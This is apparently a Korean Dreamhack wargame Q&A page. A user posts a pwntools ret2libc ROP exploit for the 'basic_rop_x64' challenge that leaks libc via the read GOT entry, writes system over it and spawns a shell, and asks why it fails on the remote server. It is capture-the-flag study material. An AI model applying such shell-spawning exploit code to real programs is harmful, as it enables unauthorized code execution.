보상이 걸린 질문
질문에 답변을 달고 보상을 받아가세요!
from pwn import *
context(arch='amd64', os='linux')
host = "host3.dreamhack.games"
port = 12110
r = remote(host, port)
r = process("./basic_rop_x64")
libc = ELF("./libc.so.6")
e = ELF("./basic_rop_x64")
read_plt = e.plt["read"]
read_got = e.got["read"]
write_plt = e.plt["write"]
pop_rsi_r15 = 0x0000000000400881
pop_rdi = 0x0000000000400883
ret = 0x00000000004005a9
payload = b"A"* 0x48
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(read_got) +p64(0)
payload += p64(write_plt)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(read_got) +p64(0)
payload += p64(read_plt)
payload += p64(pop_rdi) + p64(read_got + 0x8)
payload += p64(ret)
payload += p64(read_plt)
pause()
r.send(payload)
r.recvuntil(b"A"*0x40)
read_addr = u64(r.recvn(6) + b"\x00" * 2)
libc_base = read_addr - libc.symbols["read"]
sys_addr = libc_base + libc.symbols["system"]
r.send(p64(sys_addr)+b"/bin/sh"+b"\x00")
r.interactive()
로컬 환경에선 되고 서버에선 해당 코드가 익스플로잇을 수행하지 못해서 환경 문제인듯 싶어서 도커로 제공해주는 도커파일 이용해서 해봤는데도 안되네요. 혹시 이 문제에서 제공해주는 라이브러리랑 서버에서 사용하는 라이브러리가 차이가 있는걸까요?
[*] Switching to interactive mode
\x00\x00\xc0\xfd\xf39%\x7f\x00\x00 \x84\xf59%\x7f\x00\x00pv\xf99%\x7f\x00\x006\x06@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00[*] Got EOF while reading in interactive
오류 코드입니다.
해당 문제 자체는 큰 어려움 없이 풀었는데 의문이 하나 생겨 질문 남겨봅니다.
free의 got야 full relro라 오버라이트가 불가능 하다고 쳐도, freehook말고 free자체를 오버라이트 하는건 왜 안되나요? library base를 구한 시점에서 free의 함수 주소도 알 수 있는데 이걸 바꿔버리니 EOF가 떠버리는데 무슨 원리인지 궁금합니다!
커뮤니티 최신글
Happy hackers! Happy Banghwabyeok! <CTF S7 #14>
[0]
39
⚔ [해킹 공격편] 빡공팟 웹해킹/시스템해킹/리버싱 트랙 모집 시작! ⚔
[0]
90
[IT/보안컨퍼런스] IoTcube Conference 2025 참가자 모집 (~8/19(화))
[0]
96
[전국/무료/맥북제공] 평균 연봉 6천만 AI·데이터 인재로 거듭날 수 있는 맥북 주는 교육
[0]
123
2025 사이버공격방어대회(Cyber Conflict Exercise 2025) 참가자 모집
[0]
248
[정보보안 세미나] 무료 참여 가능!
[0]
157
🔋 NEW 굿즈는 복슬보코 보조배터리! <CTF S7 #13>
[0]
190